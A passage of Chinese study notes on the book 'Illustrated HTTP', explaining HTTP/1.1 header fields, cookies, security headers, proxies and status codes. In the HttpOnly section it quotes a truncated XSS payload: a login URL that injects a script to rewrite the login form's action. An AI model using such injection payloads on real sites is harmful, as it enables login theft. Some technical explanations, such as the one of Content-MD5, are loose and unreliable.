​ 可控制不再轉發給代理的首部欄位(即 Hop-by-hop 首部)。

管理持久連線

​ 如果當伺服器端想明確斷開連線時,透過指定Connection 首部欄位的值為 Close完成這項操作。但是需要注意HTTP1.1預設都是Keep-Alive 的持久連線。

​ 反之,在此之前的版本都是非持久的連線,如果想要實現和HTTP1.1一樣的效果需要Connection:Keep-Alive 完成這項操作。

7.2.3 Date(Date: Tue, 03 Jul 2012 04:40:59 GMT)

​ 表明HTTP報文建立的日期和時間。

​ HTTP/1.1 協議預設會使用在 RFC1123 中規定的日期時間的格式:

Date: Tue, 03 Jul 2012 04:40:59 GMT

​ HTTP1.1之前的版本使用下面的內容,使用的協議是RFC850,主要內容如下所示:

Date: Tue, 03-Jul-12 04:40:59 GMT

​ 除此之外還有一種方式是使用C 標準庫內的 asctime() 函式的輸出格式一致:

Date: Tue Jul 03 04:40:59 2012

7.2.3 Pragma(Pragma: no-cache)

Pragma 是 HTTP/1.1 之前版本的歷史遺留欄位,為了HTTP1.0之後向後相容,規範的內容形式唯一而存在著,比如下面的內容:Pragma: no-cache

主要用於客戶端告知伺服器不接受快取內容,這種欄位和Cache-Control:no-cache指定快取處理最為理想。

Cache-Control: no-cache
Pragma: no-cache

7.2.4 Trailer(Trailer: Expires)

表明報文主體之後記錄了什麼樣的首部欄位,主要用於HTTP1.1 的分塊傳輸編碼使用。

HTTP/1.1 200 OK
Date: Tue, 03 Jul 2012 04:40:56 GMT
Content-Type: text/html
...
Transfer-Encoding: chunked
Trailer: Expires
...(報文主體)...
0
Expires: Tue, 28 Sep 2004 23:59:59 GMT

上面的案例使用了Expires欄位指定資源的失效日期。

7.2.5 Transfer-Encoding(Transfer-Encoding: chunked)

規定傳輸報文的時候使用的編碼方式,HTTP1.1的傳輸編碼只能夠作用於分塊傳輸編碼。

7.2.6 Upgrade

表示嘗試使用更高版本的協議和伺服器之間進行通訊,但是不一定是HTTP協議,可以指定完全不同的協議。

Upgrade

書中的例子使用了TLS的協議僅限驗證,注意傳輸報文的細節部分,比如Connection裡面指定了Upgrade,能夠產生作用範圍的是客戶端以及相鄰的伺服器,所以需要指定Connection: Upgrade 才能生效。

另外服務遇到帶有 Upgrade 的請求,可以使用返回碼101作為響應碼返回。

Upgrade經典使用場景是WebSocket升級協議。

7.2.7 Via

主要用於最終客戶端到伺服器之間的請求和響應報文到傳輸路徑,報文經過了代理和閘道器時候,會在Via當中附加伺服器資訊然後再進行轉發。首部欄位 Via 不僅用於追蹤報文的轉發,還可避免請求迴環的發生。

Via

請求每一次經過代理伺服器,首部的Via欄位就會增加一次,VIa欄位用於追蹤傳播路徑,通常會和TRACE方法一起使用,如果Max-Forward變為0,則會停止代理伺服器之間的轉發操作。

7.2.8 Warning

HTTP/1.1 的 Warning 首部是從 HTTP/1.0 的響應首部(Retry-After)演變過來的。

下面是對應的組成格式:

Warning: [警告碼][警告的主機:埠號]“[警告內容]”([日期時間])

在HTTP1.1中定義了7種警告碼,警告碼通常只能作為參考,之後可能進行擴充套件。

HTTP1.1警告碼

7.3 請求首部欄位

請求首部是客戶端傳遞給服務端的欄位。

請求首部欄位

7.3.1 Accept(Accept: text/html,application/xhtml+xml,application/xml;q=0.)

首部欄位可以 通知伺服器,使用者代理能夠處理的媒體型別以及媒體型別相對優先順序。

  • 文字檔案

    • text/html, text/plain, text/css ...
    • application/xhtml+xml, application/xml ...
  • 圖片檔案

    • image/jpeg, image/gif, image/png ...
  • 影片檔案

    • video/mpeg, video/quicktime ...
  • 應用程式使用的二進位制檔案

    • application/octet-stream, application/zip ...

案例:

比如使用 type/subtype 這種形式,一次指定多種媒體型別,透過q=?指定權重值,預設權重為1,可以設定權重為三位小數。假設伺服器可以一次性提供多種資訊,會優先提供權重值最高的媒體型別資料。

7.3.2 Accept-Charset(Accept-Charset: iso-8859-5, unicode-1-1;q=0.8)

主要作用是用來通知伺服器使用者代理支援的字符集及字符集的相對優先順序,與首部欄位 Accept 相同的是,可用權重 q 值來表示相對優先順序。

這個欄位的主要作用是內容協商機制的伺服器驅動協商

7.3.3 Accept-Encoding(Accept-Encoding: gzip, deflate)

主要作用是告知伺服器使用者代理支援的請求編碼以及優先順序順序,支援一次性指定多級編碼,編碼的相關案例如下:

gzip:由檔案壓縮程式 gzip(GNU zip)生成的編碼格式 (RFC1952),採用 Lempel-Ziv 演算法(LZ77)及 32 位迴圈冗餘 校驗(Cyclic Redundancy Check,通稱 CRC)。

compress:由 UNIX 檔案壓縮程式 compress 生成的編碼格式,採用 Lempel-Ziv-Welch 演算法(LZW)。

deflate:組合使用 zlib 格式(RFC1950)及由 deflate 壓縮演算法(RFC1951)生成的編碼格式。

identity:不執行壓縮或不會變化的預設編碼格式。

注意也可以使用q=?表示權重值,含義和Accept的效果一致,最後注意使用*號作為萬用字元。

7.3.4 Accept-Language(Accept-Language: zh-cn,zh;q=0.7,en-us,en;q=0.3)

主要作用是告知伺服器使用者代理支援的自然語言集以及優先順序順序,支援一次性指定多級語言級。

同樣也可以使用q=?表示權重值,按照支援語言排序返回最終支援的語言集即為結果。

7.3.5 Authorization(Authorization: Basic dWVub3NlbjpwYXNzd29yZA==)

和名字一樣主要作用是告知伺服器的使用者認證資訊,這個請求首部常常用於介面對接和開發,通常對於沒有許可權的使用者會返回401的返回碼,告知沒有許可權訪問伺服器。

7.3.6 Expect(Expect: 100-continue)

客戶端告知伺服器某種期望行為使用,但是如果伺服器無法理解客戶端回應的時候會返回417擺爛。客戶端利用這個欄位表明自己的期望。但是HTTP1.1實際上只指明瞭Expect: 100-continue,表示狀態碼響應為100的客戶端需要指定這個欄位。

417 表示期望失敗

HTTP/1.1 協議裡設計 100 (Continue) HTTP 狀態碼的的目的是,在客戶端傳送 Request Message 之前,HTTP/1.1 協議允許客戶端先判定伺服器是否願意接受客戶端發來的訊息主體(基於 Request Headers)。

主要針對的情況是如果客戶端要給伺服器傳遞一個的資料包,但是如果伺服器無法處理或者拒絕處理,這個欄位類似提前做好通知。

這個欄位的含義其實是讓HTTP1.X 加入了“狀態”, 不過這種狀態嚴格意義上不能算作標準,所以HTTP1.X依然是無狀態的。

7.3.7 From

表示使用者代理的郵件地址。注意有時候電子郵件地址因為代理的關係會被記錄在 User-Agent 首部欄位。

7.3.8 Host(Host: www.hackr.jp

Host 首部欄位在 HTTP/1.1 規範內是唯一一個必須被包含在請求內的首部欄位。

表示請求方所處的IP地址和埠號資訊。

為什麼必須要有Host首部?這和單臺伺服器分配多個域名的虛擬主機的工作機制有很密切的關聯。

7.3.9 If-Match

If-Match

這樣帶If字首的請求首部欄位,都是條件請求,伺服器接收到附帶條件之後需要判定為真才能執行請求。

IF-Match

如上圖所示只有if-matchEtag值進行匹配的時候,伺服器才會接受請求,如果不符合則返回412的響應狀態碼。另外可以使用星號忽略掉Etag的值,只要有資源就接受。

7.3.10 If-Modified-Since(If-Modified-Since: Thu, 15 Apr 2004 00:00:00 GMT)

如果資源晚於這個欄位指定的時間,則希望伺服器可以處理資源請求,反之如果資源時間沒有過變更則需要返回304的響應。

If-Modified-Since 用於確認代理或客戶端擁有的本地資源的有效性

7.3.11 If-None-Match

If-Match剛好相反,只有在Etag值和If-None-Match的值不一樣的時候才處理請求,這個方法的作用是在GET和HEAD請求中獲取實時資訊,類似首部欄位 If-Modified-Since

7.3.12 Proxy-Authorization(Proxy-Authorization: Basic dGlwOjkpNLAGfFY5)

透過代理伺服器返回過來的質詢請求包含了客戶端的認證,與客戶端以及伺服器之間的HTTP認證是類似的。

7.3.13 Range(Range: bytes=5001-10000)

首部Range可以告知伺服器資源指定範圍,上面的位元組包含5001到10000位元組的資源內容。

如果可以處理相關請求,則返回 206 Partial Content 的響應,如果不能則正常的返回 200。

206 Partial Content:伺服器僅傳送資源的一部分。

7.3.14 Referer(Referer: http://www.hackr.jp/index.htm

首部欄位 Referer 會告知伺服器請求的原始資源的 URI。

注意原始資源的URL可能包含ID和密碼等一些敏感資訊,如果寫入到Reffer傳給其他伺服器有可能洩密。

Referer 的正確的拼寫應該是 Referrer,原因大概是老美當初設計的時候覺得單詞更加難讀吧。

7.3.15 TE(TE: gzip, deflate;q=0.5)

表示伺服器客戶端能夠處理響應的編碼方式以及優先順序,和Accept-Encoding欄位類似,但是主要用於傳輸編碼。還可以指定TE: trailers 進行分塊傳輸編碼。

7.3.16 User-Agent(User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;)

User-Agent 用於傳達瀏覽器的種類,首部欄位會把建立請求瀏覽器和使用者代理資訊傳給伺服器處理。

7.4 響應首部欄位

​ 響應首部欄位指的是從伺服器端向客戶端返回響應報文時使用的首部。

響應首部欄位

7.4.1 Accept-Ranges(Accept-Ranges: bytes)

當不能處理範圍請求時,需要指定Accept-Ranges: none

主要告知客戶端伺服器能處理的請求範圍,比如指定為Byte處理位元組。

7.4.2 Age(Age: 600)

表示源伺服器多久之前建立了響應,欄位值為秒。如果建立響應式快取伺服器,則此時間為Age快取之後響應再次發起認證到認證完成的時間。而代理伺服器則需要加上首部欄位 Age

7.4.3 ETag(ETag: "82e22293907ce725faf67773957acd12")

能告知客戶端的負載標誌,以一種可以將資源作為字串形式的唯一標識方式。伺服器會給給每個資源分配Etag,另外需要注意資源更新需要和Etag一樣保持更新。

所以Etag被用來區分URI相同但是語言不同的訪問區分不同的訪問資源,另外Etag存在強弱之分,強Etag會在資源改動的時候立刻重新整理,而弱Etag則在資源改變之後在資源頭部加入W/的標識標識資源變更。

7.4.4 Location(Location: http://www.usagid...)

用於表示響應接收方引導到某個和請求URL位置不同的資源上面。同樣會配合3xx Redirction 重定向返回,幾乎所有的瀏覽器收到這個欄位會嘗試完成資源重定向的行為。

7.4.5 Proxy-Authenticate(Proxy-Authenticate: Basic realm="Usagidesign Auth")

首部欄位Proxy-Authenticate 會透過代理伺服器要求的認證資訊發給客戶端,注意和伺服器以及客戶端之間的HTTP訪問認證不同,這是代理伺服器和客戶端之間的認證。

7.4.6 Retry-After(Retry-After: 120)

此欄位表示多久之後可以進行請求重試,配合狀態碼503使用,或者配合3XX Redirect 一起使用。欄位值可以是數字也可以是具體的日期時間,也可以是建立響應之後的秒數。

7.4.7 Server(Server: Apache/2.2.17 (Unix))

告知客戶端當前伺服器的應用程式資訊,可能包含軟體版本號資訊等。

7.4.8 Vary(Vary: Accept-Language)

表示指定資源請求的時候如果使用Accept-language欄位的內容相同則直接從快取返回響應,否則需要從源伺服器僅限返回。

所以這個欄位適用於控制快取,源伺服器會給代理伺服器傳遞本地快取使用方法和呼叫命令。

如果想要獲取快取則需要和包含Vary欄位內容指定的請求才能獲取,所以哪怕本次請求和上一次完全相同,請求只要Vary不一致,還是需要從源伺服器獲取。

7.4.9 WWW-Authenticate(WWW-Authenticate: Basic realm="Usagidesign Auth")

主要用於HTTP 訪問認證,告知客戶端適用於訪問請求指定資源的認證方式,如果返回401響應碼,則此欄位會一併進行返回。注意案例這裡的Basic realm="Usagidesign Auth"用於指明資源受到的保護策略。

401 未授權:客戶端訪問請求的資源需要授權。響應內容中需要包含www-Authnticate 頭資訊和詢問資訊,如果已經存在證照訪問還是401說明證照已經不被接受,如果401和前一個身份驗證請求相同,並且瀏覽器進行了至少一次重試,則瀏覽器應該展示響應包含的實體資訊(也就是診斷資訊)。

7.5 負載首部欄位

因為HTTP2.0新協議的緣故,這裡更想要稱之為負載首部,實體首部的概念已經被廢棄。負載首部表明了實體內容的請求頭部資訊,可以認為是快遞上面快遞單的貨物資訊。

負載首部欄位

7.5.1 Allow(Allow: GET, HEAD)

​ 通知客戶端指定資源所有的HTTP方法。如果不支援會返回405響應。

405 Method Not Allowed:伺服器已接收並識別請求,但拒絕了特定的請求方法。該響應必須返回一個Allow 頭資訊用以表示出當前資源能夠接受的請求方法的列表。

對於一些修改伺服器資源資料的請求方法比如PUT和DELETE通常不被允許。

7.5.2 Content-Encoding(Content-Encoding: gzip)

表明伺服器使用的負載的主體部分的內容編碼方式,並且在不丟失內容的前提下進行壓縮。

主要支援的編碼方式如下:

  • gzip
  • compress
  • deflate
  • identity

7.5.3 Content-Language(Content-Language: zh-CN)

告知客戶端伺服器使用的語言主體。

7.5.4 Content-Length(Content-Length: 15000)

告知實體主體部分大小(單位位元組),但是一旦使用內容編碼方式傳輸則不能使用此欄位。

可參考 https://tools.ietf.org/html/rfc7231 的 4.4瞭解編碼格式的內容長度計算。

7.5.5 Content-Location(Content-Location: http://www.hackr.jp/index-ja.html

給出與報文負載部分相對應的 URI,這個欄位表示的是報文負載返回資源對應URI。

比如出現在Accept-Language欄位實際的URI和返回的URI可能會不一樣,則需要在此欄位中標記。

7.5.6 Content-MD5(Content-MD5: OGFkZDUwNGVhNGY3N2MxMDIwZmQ4NTBmY2IyTY==)

客戶端對於接受的報文負載內容進行MD5加密,目的是保證報文傳輸的時候保持完整性。

但是需要注意對於報文負載MD5加密之後還需要進行Base64加密,這是因為HTTP首部不能記錄二進位制的內容,當報文被接受之後同樣使用MD5演算法解密,並且對於負載內容校驗完整 。

但是需要注意的是這個欄位在校驗完整性的同時是無法校驗MD5加密是否被篡改的,所以安全性保證不佳。

7.5.7 Content-Range(Content-Range: bytes 5001-10000/10000)

告知客戶端作為響應返回的負載哪個部分符合範圍請求,告知哪一部分符合請求,欄位值的單位為位元組,表示當前傳送部分以及整個實體大小。

7.5.8 Content-Type(Content-Type: text/html; charset=UTF-8)

說明了負載主體內物件的媒體型別,和首部欄位 Accept一樣,欄位值用 type/subtype 形式賦值。

引數 charset 使用 iso-8859-1euc-jp 等字符集進行賦值。

7.5.9 Expires

首部欄位 Expires 會將資源失效的日期告知客戶端。如果不希望資源被快取,則在首部欄位裡面和首部欄位Date相同。

需要注意在Cache-Control指定max-age的指令時候,比起首部欄位Expires,會優先處理max-age處理

7.5.10 Last-Modified(Last-Modified: Wed, 23 May 2012 09:59:55 GMT)

Last-Modified 指明資源最終修改的時間, 實際透過Request-URI 指定資源被修改的時間。實際案例是在使用CGI進行動態資料處理的時候有可能改變這個時間。

7.6 Cookie服務的首部欄位

Cookie雖然並不是HTTP1.1的規範,但是由於在WEB領域應用廣泛。Cookie的基本作用是儲存使用者的訪問資訊以及狀態管理,同時把一些資料寫入到客戶端可以在下一次訪問的時候簡化使用者操作同時可以減少服務端的一些壓力。

7.6.1 Cookie(Cookie: status=enable)

這個首部欄位會告知伺服器想要獲得HTTP狀態支援管理,這時候請求的時候會包含多個Cookie同時可以按照Cookie傳送。

對於正規釋出的Cookie而言,由於可以校驗有效期、傳送方的域名和路徑、協議資訊等,所以不會受到外來攻擊比較安全。

這裡順帶說說Cookie的歷史,Cookie最初是由於網景公司開發並且制定標準的,但是在後續發展中出現了下面的協議規格:

  • 網景標準(實際標準)

    1994年前後釋出,目前普及的標準基本為這個時候的範本,網景的標準是由一個24歲的大神寫的5頁紙決定的,目前無法找到任何有關的規範連結,可以參考RFC6265看到一些最初的端倪。

  • RFC2109(搞事小弟1號)

    比較意外這是W3C 釋出的一項標準,本意是想要和網景制定的標準相容(實則想要取代),但是因為標準過於嚴苛,同時很多服務實現方錯誤的實現這個標準,所以後來依然改回了網景的標準。

  • RFC2965(搞事小弟2號)

    RFC2965 定義了 Cookie2,並試圖解決 RFC2109 關於 Cookie1的缺點。RFC2965 目標在取代 RFC2109。

    傳送 RFC2965 Cookie 的伺服器除了使用 Set-Cookie 標頭外,還將使用 Set-Cookie2 標頭。注意RFC2965 Cookie 對埠非常敏感。

    RFC2965 可在 http://www.w3.org/Protocols/rfc2965/rfc2965.txt,但是實際上屬於W3C黑歷史被刪除,

    最後透過:RFC 2965 - HTTP State Management Mechanism (ietf.org) 可以閱讀了解

    然而不幸的是W3C還是沒成功,因為基本沒用多少伺服器投入使用。

  • RFC6265:W3C最後放棄了爭奪標準,RFC6265是按照網景的標準重新定義標準的產物,最終為業界事實標準。(繼承大哥,統合一切)

    但是結果依然是沒有采用RFC任何一個協議,網景公司的標準。

    從結果來看我們可以認為RFC6265是一個先實現後補寫設計文件的一種標準,RFC6265雖然並不是實際採用的標準,但是卻是白皮書公開認可的標準規範,也就是從原本大家口頭協商變成了白紙黑字的標準的區別。

    RFC 6265 - HTTP State Management Mechanism (ietf.org)

    吐槽:所以符合市場的標準才能被大眾接受,哪怕是W3C這樣龐大的組織也無法撼動一個被認可的標準。

最後特別感謝一下IETF,可以說是網際網路的圖書館,也可以說是網際網路發展的基石。另外RFC一些被W3C掩蓋的黑歷史也被找到了,哈哈。

IETF是由網民自發組織,自我管理的,任何人都可以參加的,完全民主平等的,無投票機制的,充分體現了自由、開放、合作、共享的精神)裡成立了特別工作小組。

Cookie的首部欄位樣式如下:

Cookie的首部欄位樣式

7.6.2 Set-Cookie

基本的格式如下,在開始使用Cookie之前的一些準備操作:

Set-Cookie: status=enable; expires=Tue, 05 Jul 2011 07:26:31 

基本的欄位屬性如下:

Set-Cookie

expires 屬性:傳送Cookie的有效期,預設為會話為Seesion級別,也就是一次瀏覽器訪問。另外需要注意Cookie一旦建立服務端就沒辦法隨便刪除,只能覆蓋的方式改寫客戶端的Cookie資訊。

path屬性:限制指定Cookie的傳送範圍目錄,但是實際上有辦法繞過這個限制,所以這個屬性不是一個安全屬性。

domain屬性:透過domain校驗結尾匹配,實際上不指定這個屬性更加安全,因為這個屬性類似白名單允許多個domain訪問。

secure 屬性(Set-Cookie: name=value; secure):限制僅在HTTPS連線才傳送Cookie,是一種比較安全的屬性,意味著當同樣的域名在使用HTTPS的情況下會傳送Cookie,但是轉為HTTP則不會覆蓋客戶端的Cookie。另一方面不指定這個屬性意味著不會發生回收行為。

7.6.3 HttpOnly 屬性

介紹:屬於Cookie本身的擴充套件功能,作用是防止JS指令碼竊取Cookie資訊,也就是防止XSS攻擊。

宣告方式:

Set-Cookie: name=value; HttpOnly

透過這樣的宣告之後,JavaScriptdocument.cookie 就無法讀取附加 HttpOnly Cookie 的內容了。

實際上HttpOnly 這個擴充套件本意並不是為了防止XSS攻擊發明的,但是後來作為緩解XSS攻擊的一項重要手段被廣泛採用。

XSS攻擊類似下面的指令碼:

http://example.jp/login?ID="> <script>var+f=document.getElementById("login");+f.action="h </script><span+s=" 對請求時對應的HTML原始碼(摘錄)

7.6.4 Cookie(Cookie: status=enable)

首部欄位 Cookie 會告知伺服器,當客戶端想獲得 HTTP 狀態管理支援時,就會在請求中包含從伺服器接收到的 Cookie。Cookie可以傳送多個。

7.7 其他首部欄位

其他首部欄位也是HTTP對於開放擴充套件的支援,這些欄位並不符合WEB的標準,需要交由實現方決定,但是使用頻率並不低。

7.7.1 X-Frame-Options

此欄位為響應首部的內容,主要作用是控制Frame標籤顯示內容,主要為了防止點選劫持的攻擊方式。

可選內容有下面兩項

  • DENY:拒絕
  • SAMEORIGIN:同源頁面匹配許可。

主流瀏覽器基本已經支援這個欄位,下面為Apach的一個參考:

<IfModule mod_headers.c>
Header append X-FRAME-OPTIONS "SAMEORIGIN"
</IfModule>

7.7.2 X-XSS-Protection(X-XSS-Protection: 1)

首部欄位 X-XSS-Protection 屬於 HTTP 響應首部,主要作用是用於控制瀏覽器 XSS 防護機制的開關。

語法:

X-XSS-Protection: 0
X-XSS-Protection: 1
X-XSS-Protection: 1; mode=block
X-XSS-Protection: 1; report=<reporting-uri>

標識解釋:

  • 0:禁止 XSS 過濾。
  • 1:啟用 XSS 過濾(通常瀏覽器是預設的)。 如果檢測到跨站指令碼攻擊,瀏覽器將清除頁面(刪除不安全的部分)。
  • 1;mode=block,啟用 XSS 過濾。 如果檢測到攻擊,瀏覽器將不會清除頁面,而是阻止頁面載入。
  • 1; report=<reporting-URI> (Chromium only),啟用 XSS 過濾。 如果檢測到跨站指令碼攻擊,瀏覽器將清除頁面並使用 CSP report-uri (en-US)指令的功能傳送違規報告。

7.7.2 DNT

DNT 屬於 HTTP 請求首部,是 Do Not Track 的簡 稱,主要用於防止廣告抓取個人資訊。

首部欄位 DNT 可指定的欄位值如下。

  • 0 :同意被追蹤
  • 1 :拒絕被追蹤

這裡介紹一個好用的谷歌外掛“Ublock origin”,圖示類似一個小紅色盾牌。

最大特點可以利用html元素直接抹掉頁面的廣告資訊過濾元素,非常好用。

7.7.3 P3P

P3P(The Platform for Privacy Preferences,線上隱私偏好平臺)技術,透過這個首部可以把隱私資訊變為僅應用程式識別的方式處理。

建立P3P的步驟如下:

步驟 1:建立 P3P 隱私。

步驟 2:建立 P3P 隱私對照檔案後,儲存命名在 /w3c/p3p.xml。

步驟 3:從 P3P 隱私中新建 Compact policies 後,輸出到 HTTP 響應中。

關於P3P可以繼續閱讀下面的內容:

The Platform for Privacy Preferences 1.0(P3P1.0)Specification http://www.w3.org/TR/P3P/

X-字首廢棄:透過這個字首來排查掉非標準引數,並且依次作為非標準引數的擴充套件,但是實際使用發現這樣不僅導致命名混亂,還可能影響正常的通訊,所以在後續的“RFC 6648 - Deprecating the "X-" Prefix and Similar Constructs in Application Protocols”廢棄此用法。

7-2. HTTP協作伺服器

7.1 單臺虛擬機器多域名

HTTP1.1支援伺服器搭建多個站點,提供WEB託管服務, 而針對域名和IP的對映以及查詢工作涉及到DNS,域名需要透過DNS解析之後才能進行訪問,當請求傳送到伺服器的時候使用的已經是IP的方式了。

7.2 通訊轉發程式

通訊轉發存在幾個專業術語:代理、閘道器、隧道,下面一一區分他們的概念。

代理:代理扮演了服務端和客戶端的“中間商”,代理伺服器的基本行為就是接收客戶端傳送的請求後轉發給其他伺服器。代理的作用通常是加快目標站點的訪問加速或者作為跳板使用。

閘道器:專門負責轉發其他伺服器的通訊資料的伺服器,對於自己的位置類似傳話筒,負責把一個伺服器的“話”傳給另一個伺服器,所以傳送請求的伺服器本身也會被當作被轉發的伺服器。

隧道:保證距離很遠的客戶端和伺服器中轉的應用程式。

7.2.1 代理

代理主要的變動資訊在Via 首部資訊,每次代理轉發都需要在Via首部加入轉發資訊,具體新增資訊如下:

對於代理按照是否修改報文和是否快取資料,分為透明代理快取代理

  • 透明代理:透明代理指的是不對請求報文做任何加工的代理方式。
  • 快取代理:快取代理通常存在於快取伺服器,代理轉發響應之前先把資料快取到快取伺服器,然後再進行返回到客戶端。

7.2.2 快取伺服器

快取伺服器的作用是減輕伺服器的負擔,利用快取可以避免同樣的資源反覆從源伺服器進行返回,而可以直接從快取伺服器獲取資源。這部分內容在《網路是怎麼樣連線的》這本書中有詳細介紹。

7.2.3 隧道

隧道可按要求建立起一條與其他伺服器的通訊線路,屆時使用 SSL 等 加密手段進行通訊。

HTTP 之前出現的協議

  • FTP:比 TCP/IP 協議族的出現還要早,雖然被HTTP超越,但是目前還是還是廣泛用於檔案上傳。
  • NNTP(Network News Transfer Protocol):用於 NetNews 電子會議室內傳送訊息的協議。
  • Archie:搜尋 anonymous FTP 公開的檔案資訊的協議。
  • WAIS(Wide Area Information Servers):透過關鍵詞檢索多個資料庫使用的協議。
  • Gopher:查詢與網際網路連線的計算機內資訊的協議。

tjhttp 四、《圖解HTTP》- 狀態碼

狀態碼章節內容過於貧乏,參考資料找了一個澳大利亞的部落格,裡面收錄了HTTP的狀態碼介紹,為什麼選這個作參考?一個是網站挺漂亮,另一個是做了一張長圖容納了常見的響應碼,存到手機可以時不時看看,並且部落格有做國際化,點進去自動就是中文(但是團隊確實是外國人),挺有意思的。

另外需要注意彙總圖是英文的,為了不丟失HTTP狀態碼的本意,建議先翻一翻RFC協議原文是如何定義的,透過網路查詢國內幾個點選率很高的比如菜鳥教程對比理解,個人並不建議完全看中文了解狀態碼含義,英文原文更加貼合定義本義同時裡面還有一些小細節。

《圖解HTTP》所介紹的HTTP1.1版本均為 RFC 2616的描述,很多內容其實已經過時或者直接廢棄了!切記!

網際網路的一手資訊基本都是英文的,程式設計學習的深入總有一天要直面純英文。

知識點

  1. 狀態碼定義的IETF協議規範,使用 RFC 7231 作為協議參考。
  2. 常見狀態碼定義,以及在 RFC 7231 中的協議定義參考
  3. 如何選擇合適的狀態碼,這裡僅介紹了 GET/POST/HEAD 三個最常用的狀態碼定義參考。

注意事項

檢視具體內容之前,我們需要了解最早的正式HTTP1.1協議版本公認為 RFC 2616,但是後續出現了更多的修訂版,補充了更多有關響應碼和完善細節,比如現在的HTTP1.1 早就是 RFC 723X 開頭了。

另外為了方便讀者瞭解協議原文,每一個大標題做了超連結,可以直接點選標題訪問當前最新的協議網站。(部分部落格平臺markdown解析可能沒法點選,在每一個標題開頭也給了連結)

從協議釋出節點來看,2014年的RFC723X開頭的協議可以認為是HTTP1.1的最後的更新版本。

本文介紹的狀態碼在 RFC2616 很多都是沒定義的,RFC2616 很老了早就已經廢棄了!

具體的內容見:

  • RFC2068:https://tools.ietf.org/html/rfc2068:過時的
  • RFC2616: https://tools.ietf.org/html/rfc2616:過時的
  • RFC7230: https://tools.ietf.org/html/rfc7230
  • RFC7231:https://tools.ietf.org/html/rfc7231
  • RFC7232: https://tools.ietf.org/html/rfc7232
  • RFC7233: https://tools.ietf.org/html/rfc7233
  • RFC7234: https://tools.ietf.org/html/rfc7234
  • RFC7235: https://tools.ietf.org/html/rfc7235
  • RFC7230:語法和路由
    語法:描述了一個 HTTP 請求或者響應長什麼樣。即第一行寫什麼怎麼寫、第二行寫什麼怎麼寫...
    路由:資源標識(URI)如何確定?透過什麼方式獲取到想要的內容?是直接從本地快取獲取?還是透過代理(Proxy)獲取?還是直接請求?
  • RFC7231:語義和內容(最需要關注的內容,RESTful-like)
    各種請求方法(GET、POST、DELETE 等等)和請求頭(Expect、Accept-Language、User-Agent 等等)表達了什麼意圖?
    響應體的狀態(200 OK、201 Created、403 Forbidden 等等)和響應頭(Location、Retry-After、Allow 等等)表達什麼意思?
  • RFC7232:條件請求
    響應體告知客戶端某些資料條件(Last-Modified、ETag 等等),客戶端可以在下次請求的時候帶上這些資訊(If-Modified-Since、If-Match 等等)。在符合條件或者不符合條件的情況下,服務端應該如何處理;
  • RFC7233:範圍請求
    由於各種因素而只得到部分響應的時候,發起範圍請求以獲取剩下的內容,避免從頭請求而浪費資源;
  • RFC7234:快取
    透過減少請求避免網路資源的浪費;
  • RFC7235:認證
    使用者認證。Basic Auth、Token 等等。

4.1 狀態碼定義

  • 1XX:1XX開頭多為資訊提示資訊,幾乎看不到使用場景,忽略即可。此外1XX的狀態碼並不會影響到SEO 最佳化。
  • 2XX: HTTP狀態程式碼是成功請求。 比如HTTP 200 OK成功狀態響應程式碼指示請求已成功。
  • 3XX:HTTP狀態程式碼指示重定向。 最常見的 3XX HTTP狀態程式碼包括“ 301永久移動”,“找到302”和“ 307臨時重定向” HTTP狀態程式碼。
  • 4XX 狀態程式碼是客戶端錯誤。 最常見的4xx狀態程式碼是“ 404未找到”和“ 410消失” HTTP狀態程式碼。
  • 5XX HTTP狀態程式碼是伺服器錯誤。 最常見的5xx HTTP狀態程式碼是“ 503服務不可用”狀態程式碼。

常見狀態碼定義

1XX請求幾乎用不到,不需要了解,這裡跳過。

4.1.1 2XX:請求成功

HTTP1.1 協議原文:

https://datatracker.ietf.org/doc/html/rfc7231#section-6.3

  • 200 OK:請求成功。
  • 201 Created:伺服器確認建立的資源。 
  • 202 Accepted:客戶端的請求已經收到請求,但伺服器仍在處理它。
  • 203 Non-Authoritative Information:伺服器傳送給客戶端的響應與伺服器傳送時的響應不同。
  • 204 No Content:伺服器處理了請求但未提供任何內容。
  • 205 Reset Content:客戶端應該重新整理文件樣本。
  • 206 Partial Content:伺服器僅傳送資源的一部分。
  • 207 Multi-Status:預設情況下,訊息正文是 XML 訊息,可以包含多個單獨的響應程式碼。

案例:在此示例中,嘗試刪除 http://www.example.com/contai... 失敗,因為資源被鎖定了。

  >>Response

     HTTP/1.1 207 Multi-Status
     Content-Type: application/xml; charset="utf-8"
     Content-Length: xxxx

     <?xml version="1.0" encoding="utf-8" ?>
     <d:multistatus xmlns:d="DAV:">
       <d:response>
         <d:href>http://www.example.com/container/resource3</d:href>
         <d:status>HTTP/1.1 423 Locked</d:status>
         <d:error><d:lock-token-submitted/></d:error>
       </d:response>
     </d:multistatus>
  • 208 已報告:a的成員 WebDAV的 繫結已經在(多狀態 )響應的前一部分中被列舉,並且不再被包括在內。
WebDAV:是一個數字資訊管理系統。 它是一個管理和共享線上檔案的平臺,非常適合線上應用程式和社交網站。 WebDAV 允許儲存、管理和與其他 Web 使用者共享更新和檔案。 還可以在計算機和裝置之間共享檔案。

4.1.2 3XX:重定向

HTTP1.1 協議原文:

https://datatracker.ietf.org/doc/html/rfc7231#section-6.4

如果使用者訪問到3XX開頭的程式碼,則會被瀏覽器重定向到不同的URL。注意這種返回碼對於SEO最佳化影響比較大。

注意:當且僅當第二個請求中使用的方法是GET 或 HEAD。客戶端應該檢測無限重定向迴圈,因為這樣的迴圈會為每個重定向生成網路流量。

在規範當中建議重定向次數最多不超過5次。

下面是一些常見的3XX狀態碼。

  • 300 多項選擇:客戶端發出的請求有多種可能的響應。
  • 301 永久移動:伺服器告訴客戶端他們尋找的資源已被永久移動到另一個 URL。 所有使用者和機器人都將被重定向到新的 URL。 這是 SEO 的一個非常重要的狀態程式碼。
  • 302 臨時轉移:網站或頁面資源已暫時移至不同的 URL。 這是另一個與 SEO 相關的狀態程式碼。另外收到302和301的時候不允許客戶端改變重定向請求方法。另外服務端通常會把302請求當做是303進行響應,對於Location欄位發起GET請求。(SEO最佳化)
    只有在Cache-Control或Expires中進行了指定的情況下,這個響應才是可快取的。
  • 303 檢視其他:此程式碼告訴客戶端伺服器不是將它們重定向到請求的資源,而是重定向到另一個頁面。
  • 304 Not Modified:請求的資源自上次傳輸後沒有改變。如果使用強快取校驗器,則響應不能包含實體標頭,如果304響應沒用指示條件情況下則進行重複請求,如果304響應包含快取條目,則同樣需要按照快取條目更新到本地。
